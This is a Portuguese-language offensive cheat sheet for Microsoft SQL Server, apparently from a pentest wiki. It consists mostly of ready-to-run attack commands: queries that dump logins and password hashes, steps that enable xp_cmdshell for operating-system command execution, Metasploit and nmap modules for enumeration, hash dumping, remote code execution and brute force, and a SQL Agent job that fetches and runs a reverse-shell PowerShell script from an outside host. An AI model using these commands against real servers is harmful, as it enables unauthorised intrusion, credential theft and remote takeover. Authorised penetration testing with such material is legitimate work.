Microsoft SQL Server

Conectando ao Banco de Dados

python3 -m mssqlcli.main -S <ip> -U <user> -P <pass>

Queries Essenciais

QUERY
DESCRIÇÃO

SELECT @@version

Versão do MSSQL

SELECT host_name()

Hostname do servidor

SELECT db_name()

Database atual

SELECT loginname FROM syslogins WHERE sysadmin = 1

Extraindo Logins de SQL

SELECT name FROM sys.databases

Exibindo todos os databases

USE <database>

Acessando um determinado database

SELECT * FROM sysusers

Exibindo todos os Sys Users

SELECT name, password_hash FROM master.sys.sql_logins

Extraindo hashes dos usuários

SELECT name, CONVERT(INT, ISNULL(value, value_in_use)) AS IsEnabled FROM sys.configurations WHERE name = 'xp_cmdshell'

Verificando se xp_cmdshell está habilitado

EXEC sp_configure 'show advanced options', 1 ; RECONFIGURE ; exec SP_CONFIGURE 'xp_cmdshell', 1 ; RECONFIGURE

Habilitando o xp_cmdshell

EXEC xp_cmdshell "<command>"

Executando comando no sistema operacional

SELECT servicename, service_account FROM sys.dm_server_services

Nome e Conta de Serviço

SELECT name AS database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS trustworthy FROM sys.databases

Pegando nome de usuários e seus respectivos databases

Executando Query

sqlcmd

Conectando-se no host MSSQL

sqlcmd -S <ip> -U <user> -P '<pass>'

Após conectar-se no host, é possível executar comandos SQL, porém ao digitar e query pressionar Enter, é preciso digitar go para determinar que o comando deve ser executado (semelhante ao ponto e vírgula). Por exemplo, para verificarmos a versão do MSSQL, utilizaríamos os seguintes comandos:

select @@version
go

Powershell

Invoke-Sqlcmd -Query '<query>' -Username <user> -Password <pass>
Invoke-Sqlcmd -Inputfile <file.sql> -Username <user> -Password <pass>

Metasploit

msfconsole -q
use auxiliary/admin/mssql/mssql_sql
set password <pass>
set username <user>
set rhosts <ip>
exploit

Enumeração

Metasploit

Enumeração do MSSQL

msfconsole -q
use auxiliary/admin/mssql/mssql_enum
set rhost <ip>
set username <user>
set password <pass>
exploit

Enumeração de contas de usuário do Domínio através do MSSQL

sudo msfconsole -q
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set rhost <ip>
exploit

nmap

Informações sobre o MSSQL

nmap -p 1433 --script ms-sql-info <ip>

Informações do MSSQL com NTLM

nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 <ip>

Senha em Branco

nmap -p 1433 --script ms-sql-empty-password <ip>

Extraindo Hashes

nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=<user>,mssql.password=<password> <ip>

Listando Todos os Sys Users

nmap --script ms-sql-query --script-args mssql.username=<user>,mssql.password=<password>,ms-sql-query.query="SELECT * FROM master..syslogins" -p 1433 <ip>

RCE

nmap --script ms-sql-xp-cmdshell --script-args mssql.username=<user>,mssql.password=<password>,ms-sql-xp-cmdshell.cmd="<command>" -p 1433 <ip>>

Acesso Direto ao SQL Server

Caso alguma conta de usuário com o serviço "SQL Server Agent (MSSQLSERVER)", utilize a query abaixo para ganhar permissões.

USE msdb;EXEC msdb.dbo.sp_delete_job @job_name = N'PowershellExec';EXEC dbo.sp_add_job @job_name = N'PowershellExec';EXEC sp_add_jobstep @job_name = N'PowershellExec', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell -noexit -c "iex (iwr -UseBasicParsing http://<ip>/<reverse_shell.ps1>)"', @retry_attempts = 1, @retry_interval = 5;EXEC dbo.sp_add_jobserver @job_name = N'PowershellExec';EXEC dbo.sp_start_job N'PowershellExec'

Brute Force

nmap (Remoto)

nmap -p 1433 --script ms-sql-brute --script-args userdb=<wordlist.txt>,passwd=<wordlist> <ip>

Sites

https://learn.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15

Last updated